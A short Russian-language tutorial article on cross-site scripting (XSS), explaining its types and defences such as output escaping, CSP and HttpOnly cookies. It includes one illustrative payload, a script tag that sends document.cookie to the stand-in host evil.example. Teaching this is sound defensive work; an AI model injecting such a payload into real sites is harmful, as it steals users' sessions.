XSS простыми словами: чужой скрипт на вашей странице

Веб22.10.2026 09:00 · 1 мин чтения

Что такое межсайтовый скриптинг, чем опасен и почему экранирование вывода и Content-Security-Policy — две половины защиты.

XSS (Cross-Site Scripting, межсайтовый скриптинг) — уязвимость, при которой атакующий заставляет сайт показать другим пользователям свой JavaScript. Скрипт выполняется в браузере жертвы от имени сайта и видит всё, что видит она.

Как это выглядит

Представьте комментарии под статьёй, которые выводятся «как есть»:

<div class="comment">{{ comment }}</div>

Если вместо текста отправить <script>fetch('https://evil.example/?c=' + document.cookie)</script>, этот код запустится у каждого, кто откроет страницу.

Виды XSS

  • Хранимая — вредный код сохраняется в базе (комментарий, профиль) и срабатывает у всех читателей.
  • Отражённая — код приходит в параметре ссылки и сразу возвращается в ответе. Жертве нужно перейти по подготовленной ссылке.
  • DOM-based — уязвим сам JavaScript страницы, например когда он вставляет часть адреса через innerHTML.

Чем опасно

Через XSS крадут сессии, меняют содержимое страницы, отправляют запросы от имени жертвы, показывают поддельные формы входа. Для сайта с аккаунтами это почти всегда критическая уязвимость.

Как защититься

  1. Экранируйте вывод. Символы <, >, &, " и ' превращаются в безопасные сущности, и браузер показывает их как текст. Шаблонизаторы вроде Jinja делают это автоматически — главное не отключать.
  2. Не используйте innerHTML для пользовательских данных — есть textContent.
  3. Включите Content-Security-Policy. Заголовок script-src 'self' запрещает браузеру выполнять встроенные и чужие скрипты, даже если экранирование где-то пропустили.
  4. Ставьте cookie сессии с флагом HttpOnly — тогда JavaScript не сможет её прочитать.
Экранирование закрывает дыру, CSP страхует, если дыра всё-таки появилась. Нужны оба слоя.

Практика

Напишите функцию экранирования сами в задаче Экранирование HTML — автотесты проверят и обычные, и хитрые случаи.